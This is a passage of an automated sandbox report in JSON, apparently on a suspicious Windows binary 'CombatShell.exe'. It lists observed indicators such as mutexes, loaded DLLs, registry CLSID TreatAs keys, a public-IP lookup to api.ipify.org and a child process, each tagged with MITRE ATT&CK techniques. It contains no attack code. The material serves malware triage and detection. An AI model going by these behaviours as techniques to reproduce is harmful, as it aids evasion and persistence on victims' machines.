\"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5644:304:WilStaging_02\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5644:120:WilError_03\"\n \"Local\\SM0:5644:120:WilError_03\"\n \"SM0:5644:120:WilError_03\"\n \"Local\\SM0:5644:304:WilStaging_02\"","description_v2":["\"\\Sessions\\1\\BaseNamedObjects\\SM0:5644:120:WilError_03\"","\"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5644:304:WilStaging_02\"","\"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5644:120:WilError_03\"","\"Local\\SM0:5644:120:WilError_03\"","\"SM0:5644:120:WilError_03\"","\"Local\\SM0:5644:304:WilStaging_02\""],"description_v3":[{"type":"text","value":"\"\\Sessions\\1\\BaseNamedObjects\\SM0:5644:120:WilError_03\""},{"type":"linebreak"},{"type":"text","value":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5644:304:WilStaging_02\""},{"type":"linebreak"},{"type":"text","value":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5644:120:WilError_03\""},{"type":"linebreak"},{"type":"text","value":"\"Local\\SM0:5644:120:WilError_03\""},{"type":"linebreak"},{"type":"text","value":"\"SM0:5644:120:WilError_03\""},{"type":"linebreak"},{"type":"text","value":"\"Local\\SM0:5644:304:WilStaging_02\""}],"origin":"Created Mutant","attck_id":"T1480","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1480","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"static-154","type":0,"relevance":0,"name":"File contains dynamic base/NX flags","description":"\"CombatShell.exe\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT","description_v2":["\"CombatShell.exe\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA","IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE","IMAGE_DLLCHARACTERISTICS_NX_COMPAT"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA"},{"type":"linebreak"},{"type":"text","value":"IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE"},{"type":"linebreak"},{"type":"text","value":"IMAGE_DLLCHARACTERISTICS_NX_COMPAT"}],"origin":"Static Parser","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-135","type":2,"relevance":1,"name":"Found well known domains (string)","description":"\"META:https://github.com\" (Indicator: \"github.com\")\n \"_https://github.com\" (Indicator: \"github.com\")","description_v2":["\"META:https://github.com\" (Indicator: \"github.com\")","\"_https://github.com\" (Indicator: \"github.com\")"],"description_v3":[{"type":"text","value":"\"META:https://github.com\" (Indicator: \"github.com\")"},{"type":"linebreak"},{"type":"text","value":"\"_https://github.com\" (Indicator: \"github.com\")"}],"origin":"File/Memory","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"network-2","type":7,"relevance":5,"name":"GETs files from a webserver","description":"\"GET / HTTP/1.1\naccept: */*\nhost: api.ipify.org\" Response ==> HTTP/1.1 200 OK\nDate: Sun\n 29 Jun 2025 13:58:14 GMT\nContent-Type: text/plain\nContent-Length: 13\nConnection: keep-alive\nCF-RAY: 9575f006ecc3ed37-SJC\nVary: Origin\ncf-cache-status: DYNAMIC\nServer: cloudflare\nserver-timing: cfL4;desc=\"?proto=TCP&rtt=1518&min_rtt=1509&rtt_var=585&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2818&recv_bytes=465&delivery_rate=1841109&cwnd=251&unsent_bytes=0&cid=dd1a3f3702ed9cf4&ts=634&x=0\" with response body ==>33363A33343A32653A33313A33323A33343A32653A33313A33323A32653A33313A33363A3332.......","description_v2":["\"GET / HTTP/1.1","accept: */*","host: api.ipify.org\" Response ==> HTTP/1.1 200 OK","Date: Sun","29 Jun 2025 13:58:14 GMT","Content-Type: text/plain","Content-Length: 13","Connection: keep-alive","CF-RAY: 9575f006ecc3ed37-SJC","Vary: Origin","cf-cache-status: DYNAMIC","Server: cloudflare","server-timing: cfL4;desc=\"?proto=TCP&rtt=1518&min_rtt=1509&rtt_var=585&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2818&recv_bytes=465&delivery_rate=1841109&cwnd=251&unsent_bytes=0&cid=dd1a3f3702ed9cf4&ts=634&x=0\" with response body ==>33363A33343A32653A33313A33323A33343A32653A33313A33323A32653A33313A33363A3332......."],"description_v3":[{"type":"text","value":"\"GET / HTTP/1.1"},{"type":"linebreak"},{"type":"text","value":"accept: */*"},{"type":"linebreak"},{"type":"text","value":"host: api.ipify.org\" Response ==> HTTP/1.1 200 OK"},{"type":"linebreak"},{"type":"text","value":"Date: Sun"},{"type":"linebreak"},{"type":"text","value":"29 Jun 2025 13:58:14 GMT"},{"type":"linebreak"},{"type":"text","value":"Content-Type: text/plain"},{"type":"linebreak"},{"type":"text","value":"Content-Length: 13"},{"type":"linebreak"},{"type":"text","value":"Connection: keep-alive"},{"type":"linebreak"},{"type":"text","value":"CF-RAY: 9575f006ecc3ed37-SJC"},{"type":"linebreak"},{"type":"text","value":"Vary: Origin"},{"type":"linebreak"},{"type":"text","value":"cf-cache-status: DYNAMIC"},{"type":"linebreak"},{"type":"text","value":"Server: cloudflare"},{"type":"linebreak"},{"type":"text","value":"server-timing: cfL4;desc=\"?proto=TCP&rtt=1518&min_rtt=1509&rtt_var=585&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2818&recv_bytes=465&delivery_rate=1841109&cwnd=251&unsent_bytes=0&cid=dd1a3f3702ed9cf4&ts=634&x=0\" with response body ==>33363A33343A32653A33313A33323A33343A32653A33313A33323A32653A33313A33363A3332......."}],"origin":"Network Traffic","attck_id":"T1071.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1071/001","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"api-7","type":6,"relevance":1,"name":"Loads modules at runtime","description":"$38","description_v2":["\"CombatShell.exe\" loaded module \"API-MS-WIN-CORE-SYNCH-L1-2-0\" at base 7ff86a540000","\"CombatShell.exe\" loaded module \"API-MS-WIN-CORE-FIBERS-L1-1-1\" at base 7ff86a540000","\"CombatShell.exe\" loaded module \"API-MS-WIN-CORE-LOCALIZATION-L1-2-1\" at base 7ff86a540000","\"CombatShell.exe\" loaded module \"KERNEL32\" at base 7ff86c070000","\"CombatShell.exe\" loaded module \"USER32.DLL\" at base 7ff86c900000","\"CombatShell.exe\" loaded module \"%WINDIR%\\SYSTEM32\\UXTHEME.DLL\" at base 7ff867540000","\"CombatShell.exe\" loaded module \"SHCORE.DLL\" at base 7ff86c510000","\"CombatShell.exe\" loaded module \"NTDLL.DLL\" at base 7ff86caf0000","\"CombatShell.exe\" loaded module \"UXTHEME.DLL\" at base 7ff867540000","\"CombatShell.exe\" loaded module \"RPCRT4.DLL\" at base 7ff86c3f0000","\"CombatShell.exe\" loaded module \"%WINDIR%\\SYSTEM32\\DATAEXCHANGE.DLL\" at base 7ff84ec50000","\"CombatShell.exe\" loaded module \"%WINDIR%\\SYSTEM32\\EXPLORERFRAME.DLL\" at base 7ff84e9b0000","\"CombatShell.exe\" loaded module \"OPENGL32.DLL\" at base 7ff825c70000","\"CombatShell.exe\" loaded module \"OPENGL32\" at base 7ff825c70000","\"CombatShell.exe\" loaded module \"API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL\" at base 7ff86a3a0000","\"CombatShell.exe\" loaded module \"%WINDIR%\\SYSTEM32\\APPXDEPLOYMENTCLIENT.DLL\" at base 7ff860880000","\"CombatShell.exe\" loaded module \"API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL\" at base 7ff86ba70000","\"CombatShell.exe\" loaded module \"API-MS-WIN-SECURITY-BASE-L1-1-0.DLL\" at base 7ff86a540000","\"CombatShell.exe\" loaded module \"VM3DGL64.DLL\" at base 7ff823d80000","\"CombatShell.exe\" loaded module \"VM3DGLHELPER64.DLL\" at base 7ff823d30000","\"CombatShell.exe\" loaded module \"KERNEL32.DLL\" at base 7ff86c070000","\"CombatShell.exe\" loaded module \"GDI32.DLL\" at base 7ff86a8f0000","\"CombatShell.exe\" loaded module \"API-MS-WIN-APPMODEL-RUNTIME-L1-1-2\" at base 7ff868f60000","\"CombatShell.exe\" loaded module \"%WINDIR%\\SYSTEM32\\UIAUTOMATIONCORE.DLL\" at base 7ff84bc30000","\"CombatShell.exe\" loaded module \"%WINDIR%\\SYSTEM32\\OLEAUT32.DLL\" at base 7ff86c820000","\"CombatShell.exe\" loaded module \"API-MS-WIN-CORE-WINRT-ERROR-L1-1-0.DLL\" at base 7ff86ba70000","\"CombatShell.exe\" loaded module \"OLEAUT32.DLL\" at base 7ff86c820000","\"CombatShell.exe\" loaded module \"ADVAPI32.DLL\" at base 7ff86bfc0000","\"CombatShell.exe\" loaded module \"CRYPT32.DLL\" at base 7ff86a230000","\"CombatShell.exe\" loaded module \"%WINDIR%\\SYSTEM32\\ICONCODECSERVICE.DLL\" at base 7ff823d20000","\"CombatShell.exe\" loaded module \"NCRYPT.DLL\" at base 7ff8697c0000","\"CombatShell.exe\" loaded module \"OLE32.DLL\" at base 7ff86c140000","\"CombatShell.exe\" loaded module \"SECUR32.DLL\" at base 7ff85f1d0000","\"CombatShell.exe\" loaded module \"SHELL32.DLL\" at base 7ff86b190000","\"CombatShell.exe\" loaded module \"USERENV.DLL\" at base 7ff8694d0000","\"CombatShell.exe\" loaded module \"WS2_32.DLL\" at base 7ff86c660000","\"CombatShell.exe\" loaded module \"API-MS-WIN-CORE-SYNCH-L1-2-0.DLL\" at base 7ff86a540000","\"CombatShell.exe\" loaded module \"BCRYPTPRIMITIVES.DLL\" at base 7ff86a4c0000","\"CombatShell.exe\" loaded module \"MSVCRT.DLL\" at base 7ff86b990000","\"CombatShell.exe\" loaded module \"SSPICLI.DLL\" at base 7ff8691b0000","\"CombatShell.exe\" loaded module \"%WINDIR%\\SYSTEM32\\SCHANNEL.DLL\" at base 7ff868dd0000","\"CombatShell.exe\" loaded module \"%WINDIR%\\SYSTEM32\\NCRYPTSSLP.DLL\" at base 7ff85aa30000","\"CombatShell.exe\" loaded module \"%WINDIR%\\SYSTEM32\\BCRYPTPRIMITIVES.DLL\" at base 7ff86a4c0000","\"CombatShell.exe\" loaded module \"%WINDIR%\\SYSTEM32\\RSAENH.DLL\" at base 7ff868ed0000","\"CombatShell.exe\" loaded module \"%WINDIR%\\SYSTEM32\\CRYPTNET.DLL\" at base 7ff857eb0000","\"CombatShell.exe\" loaded module \"%WINDIR%\\SYSTEM32\\CRYPT32.DLL\" at base 7ff86a230000","\"CombatShell.exe\" loaded module \"%WINDIR%\\SYSTEM32\\MSCTF.DLL\" at base 7ff86b070000"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" loaded module \"API-MS-WIN-CORE-SYNCH-L1-2-0\" at base 7ff86a540000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"API-MS-WIN-CORE-FIBERS-L1-1-1\" at base 7ff86a540000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"API-MS-WIN-CORE-LOCALIZATION-L1-2-1\" at base 7ff86a540000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"KERNEL32\" at base 7ff86c070000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"USER32.DLL\" at base 7ff86c900000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"%WINDIR%\\SYSTEM32\\UXTHEME.DLL\" at base 7ff867540000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"SHCORE.DLL\" at base 7ff86c510000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"NTDLL.DLL\" at base 7ff86caf0000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"UXTHEME.DLL\" at base 7ff867540000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"RPCRT4.DLL\" at base 7ff86c3f0000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"%WINDIR%\\SYSTEM32\\DATAEXCHANGE.DLL\" at base 7ff84ec50000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"%WINDIR%\\SYSTEM32\\EXPLORERFRAME.DLL\" at base 7ff84e9b0000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"OPENGL32.DLL\" at base 7ff825c70000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"OPENGL32\" at base 7ff825c70000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL\" at base 7ff86a3a0000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"%WINDIR%\\SYSTEM32\\APPXDEPLOYMENTCLIENT.DLL\" at base 7ff860880000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL\" at base 7ff86ba70000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"API-MS-WIN-SECURITY-BASE-L1-1-0.DLL\" at base 7ff86a540000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"VM3DGL64.DLL\" at base 7ff823d80000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"VM3DGLHELPER64.DLL\" at base 7ff823d30000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"KERNEL32.DLL\" at base 7ff86c070000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"GDI32.DLL\" at base 7ff86a8f0000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"API-MS-WIN-APPMODEL-RUNTIME-L1-1-2\" at base 7ff868f60000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"%WINDIR%\\SYSTEM32\\UIAUTOMATIONCORE.DLL\" at base 7ff84bc30000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"%WINDIR%\\SYSTEM32\\OLEAUT32.DLL\" at base 7ff86c820000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"API-MS-WIN-CORE-WINRT-ERROR-L1-1-0.DLL\" at base 7ff86ba70000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"OLEAUT32.DLL\" at base 7ff86c820000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"ADVAPI32.DLL\" at base 7ff86bfc0000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"CRYPT32.DLL\" at base 7ff86a230000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"%WINDIR%\\SYSTEM32\\ICONCODECSERVICE.DLL\" at base 7ff823d20000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"NCRYPT.DLL\" at base 7ff8697c0000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"OLE32.DLL\" at base 7ff86c140000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"SECUR32.DLL\" at base 7ff85f1d0000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"SHELL32.DLL\" at base 7ff86b190000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"USERENV.DLL\" at base 7ff8694d0000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"WS2_32.DLL\" at base 7ff86c660000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"API-MS-WIN-CORE-SYNCH-L1-2-0.DLL\" at base 7ff86a540000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"BCRYPTPRIMITIVES.DLL\" at base 7ff86a4c0000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"MSVCRT.DLL\" at base 7ff86b990000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"SSPICLI.DLL\" at base 7ff8691b0000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"%WINDIR%\\SYSTEM32\\SCHANNEL.DLL\" at base 7ff868dd0000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"%WINDIR%\\SYSTEM32\\NCRYPTSSLP.DLL\" at base 7ff85aa30000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"%WINDIR%\\SYSTEM32\\BCRYPTPRIMITIVES.DLL\" at base 7ff86a4c0000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"%WINDIR%\\SYSTEM32\\RSAENH.DLL\" at base 7ff868ed0000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"%WINDIR%\\SYSTEM32\\CRYPTNET.DLL\" at base 7ff857eb0000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"%WINDIR%\\SYSTEM32\\CRYPT32.DLL\" at base 7ff86a230000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"%WINDIR%\\SYSTEM32\\MSCTF.DLL\" at base 7ff86b070000"}],"origin":"API Call","attck_id":"T1129","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1129","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"module-9","type":10,"relevance":0,"name":"Loads the Bcrypt module DLL","description":"\"CombatShell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 697F0000\n \"CombatShell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 6A4C0000","description_v2":["\"CombatShell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 697F0000","\"CombatShell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 6A4C0000"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 697F0000"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 6A4C0000"}],"origin":"Loaded Module","attck_id":"T1027","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1027","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"module-10","type":10,"relevance":0,"name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"CombatShell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 6C3F0000","description_v2":["\"CombatShell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 6C3F0000"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 6C3F0000"}],"origin":"Loaded Module","attck_id":"T1129","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1129","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"api-8","type":6,"relevance":1,"name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000000000020427b6af87f0000@ntdll.dll\"\n \"220023000000000040427b6af87f0000@ntdll.dll\"","description_v2":["\"19001a000000000020427b6af87f0000@ntdll.dll\"","\"220023000000000040427b6af87f0000@ntdll.dll\""],"description_v3":[{"type":"text","value":"\"19001a000000000020427b6af87f0000@ntdll.dll\""},{"type":"linebreak"},{"type":"text","value":"\"220023000000000040427b6af87f0000@ntdll.dll\""}],"origin":"API Call","attck_id":"T1129","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1129","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"registry-72","type":3,"relevance":3,"name":"Overview of unique CLSIDs touched in registry","description":"\"CombatShell.exe\" touched \"PSOAInterface\" (Path: \"HKCU\\CLSID\\{00020424-0000-0000-C000-000000000046}\\TREATAS\")\n \"CombatShell.exe\" touched \"Task Bar Communication\" (Path: \"HKCU\\CLSID\\{56FDF344-FD6D-11D0-958A-006097C9A090}\\TREATAS\")","description_v2":["\"CombatShell.exe\" touched \"PSOAInterface\" (Path: \"HKCU\\CLSID\\{00020424-0000-0000-C000-000000000046}\\TREATAS\")","\"CombatShell.exe\" touched \"Task Bar Communication\" (Path: \"HKCU\\CLSID\\{56FDF344-FD6D-11D0-958A-006097C9A090}\\TREATAS\")"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" touched \"PSOAInterface\" (Path: \"HKCU\\CLSID\\{00020424-0000-0000-C000-000000000046}\\TREATAS\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" touched \"Task Bar Communication\" (Path: \"HKCU\\CLSID\\{56FDF344-FD6D-11D0-958A-006097C9A090}\\TREATAS\")"}],"origin":"Registry Access","attck_id":"T1546.015","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1546/015","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"static-80","type":0,"relevance":1,"name":"PE file contains executable sections","description":"\"CombatShell.exe\" has an executable section named \".text\"","description_v2":["\"CombatShell.exe\" has an executable section named \".text\""],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" has an executable section named \".text\""}],"origin":"Static Parser","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"static-95","type":0,"relevance":0,"name":"PE file contains writable sections","description":"\"CombatShell.exe\" has an writable section named \".data\"\n \"CombatShell.exe\" has an writable section named \".bss\"\n \"CombatShell.exe\" has an writable section named \".tls\"","description_v2":["\"CombatShell.exe\" has an writable section named \".data\"","\"CombatShell.exe\" has an writable section named \".bss\"","\"CombatShell.exe\" has an writable section named \".tls\""],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" has an writable section named \".data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" has an writable section named \".bss\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" has an writable section named \".tls\""}],"origin":"Static Parser","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"static-96","type":0,"relevance":0,"name":"PE file entrypoint instructions","description":"\"CombatShell.exe\" file has an entrypoint instructions - \"sub\trsp, 0x28,mov\trax, qword ptr [rip + 0x3565255],mov\tdword ptr [rax], 1,call\t0x140001180,nop\t,nop\t,add\trsp, 0x28,ret\t,nop\tdword ptr [rax],sub\trsp, 0x28,mov\trax, qword ptr [rip + 0x3565235],mov\tdword ptr [rax], 0,call\t0x140001180,nop\t,nop\t,add\trsp, 0x28,ret\t,nop\tdword ptr [rax],sub\trsp, 0x28,call\t0x140b5c190,cmp\trax, 1,sbb\teax, eax,add\trsp, 0x28,ret\t,nop\t,nop\t,nop\t,nop\t,nop\t,nop\t,nop\t,nop\t,nop\t,nop\t,nop\t,nop\t,\"","description_v2":["\"CombatShell.exe\" file has an entrypoint instructions - \"sub\trsp, 0x28,mov\trax, qword ptr [rip + 0x3565255],mov\tdword ptr [rax], 1,call\t0x140001180,nop\t,nop\t,add\trsp, 0x28,ret\t,nop\tdword ptr [rax],sub\trsp, 0x28,mov\trax, qword ptr [rip + 0x3565235],mov\tdword ptr [rax], 0,call\t0x140001180,nop\t,nop\t,add\trsp, 0x28,ret\t,nop\tdword ptr [rax],sub\trsp, 0x28,call\t0x140b5c190,cmp\trax, 1,sbb\teax, eax,add\trsp, 0x28,ret\t,nop\t,nop\t,nop\t,nop\t,nop\t,nop\t,nop\t,nop\t,nop\t,nop\t,nop\t,nop\t,\""],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" file has an entrypoint instructions - \"sub\trsp, 0x28,mov\trax, qword ptr [rip + 0x3565255],mov\tdword ptr [rax], 1,call\t0x140001180,nop\t,nop\t,add\trsp, 0x28,ret\t,nop\tdword ptr [rax],sub\trsp, 0x28,mov\trax, qword ptr [rip + 0x3565235],mov\tdword ptr [rax], 0,call\t0x140001180,nop\t,nop\t,add\trsp, 0x28,ret\t,nop\tdword ptr [rax],sub\trsp, 0x28,call\t0x140b5c190,cmp\trax, 1,sbb\teax, eax,add\trsp, 0x28,ret\t,nop\t,nop\t,nop\t,nop\t,nop\t,nop\t,nop\t,nop\t,nop\t,nop\t,nop\t,nop\t,\""}],"origin":"Static Parser","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"static-125","type":0,"relevance":3,"name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0xb5ce00\" greater than 0x100000\n Raw size of \".rdata\" is \"0x2a06800\" greater than 0x100000","description_v2":["Raw size of \".text\" is \"0xb5ce00\" greater than 0x100000","Raw size of \".rdata\" is \"0x2a06800\" greater than 0x100000"],"description_v3":[{"type":"text","value":"Raw size of \".text\" is \"0xb5ce00\" greater than 0x100000"},{"type":"linebreak"},{"type":"text","value":"Raw size of \".rdata\" is \"0x2a06800\" greater than 0x100000"}],"origin":"Static Parser","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"static-124","type":0,"relevance":3,"name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0xb5cd10\" greater than 0x100000\n Virtual size of \".rdata\" is \"0x2a067e8\" greater than 0x100000","description_v2":["Virtual size of \".text\" is \"0xb5cd10\" greater than 0x100000","Virtual size of \".rdata\" is \"0x2a067e8\" greater than 0x100000"],"description_v3":[{"type":"text","value":"Virtual size of \".text\" is \"0xb5cd10\" greater than 0x100000"},{"type":"linebreak"},{"type":"text","value":"Virtual size of \".rdata\" is \"0x2a067e8\" greater than 0x100000"}],"origin":"Static Parser","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"static-93","type":0,"relevance":1,"name":"PE file has a high image base","description":"\"CombatShell.exe\" has high imagebase \"0x140000000\"","description_v2":["\"CombatShell.exe\" has high imagebase \"0x140000000\""],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" has high imagebase \"0x140000000\""}],"origin":"Static Parser","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"string-170","type":2,"relevance":1,"name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"\\Device\\HarddiskVolume3\\Windows\\System32\\conhost.exe\" [Source: 00000000-00005644-00000BC0-3481439369]","description_v2":["Observed system executable string:\"\\Device\\HarddiskVolume3\\Windows\\System32\\conhost.exe\" [Source: 00000000-00005644-00000BC0-3481439369]"],"description_v3":[{"type":"text","value":"Observed system executable string:\"\\Device\\HarddiskVolume3\\Windows\\System32\\conhost.exe\" [Source: 00000000-00005644-00000BC0-3481439369]"}],"origin":"File/Memory","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"target-67","type":9,"relevance":10,"name":"Process launched with changed environment","description":"Process \"winlnk.exe\" (UID: 00000000-00000648) was launched with new environment variables: \"FPS_BROWSER_APP_PROFILE_STRING=\"Internet Explorer\", PROMPT=\"$P$G\", FPS_BROWSER_USER_PROFILE_STRING=\"Default\", PROCESSOR_ARCHITEW6432=\"AMD64\", EFC_5580=\"1\"\"\n Process \"winlnk.exe\" (UID: 00000000-00000648) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, PSModulePath, CommonProgramFiles, Path, PATHEXT, ProgramFiles\"","description_v2":["Process \"winlnk.exe\" (UID: 00000000-00000648) was launched with new environment variables: \"FPS_BROWSER_APP_PROFILE_STRING=\"Internet Explorer\", PROMPT=\"$P$G\", FPS_BROWSER_USER_PROFILE_STRING=\"Default\", PROCESSOR_ARCHITEW6432=\"AMD64\", EFC_5580=\"1\"\"","Process \"winlnk.exe\" (UID: 00000000-00000648) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, PSModulePath, CommonProgramFiles, Path, PATHEXT, ProgramFiles\""],"description_v3":[{"type":"text","value":"Process \"winlnk.exe\""},{"type":"process","process_uid":"00000000-00000648","label":"Show Process"},{"type":"text","value":"was launched with new environment variables: \"FPS_BROWSER_APP_PROFILE_STRING=\"Internet Explorer\", PROMPT=\"$P$G\", FPS_BROWSER_USER_PROFILE_STRING=\"Default\", PROCESSOR_ARCHITEW6432=\"AMD64\", EFC_5580=\"1\"\""},{"type":"linebreak"},{"type":"text","value":"Process \"winlnk.exe\""},{"type":"process","process_uid":"00000000-00000648","label":"Show Process"},{"type":"text","value":"was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, PSModulePath, CommonProgramFiles, Path, PATHEXT, ProgramFiles\""}],"origin":"Monitored 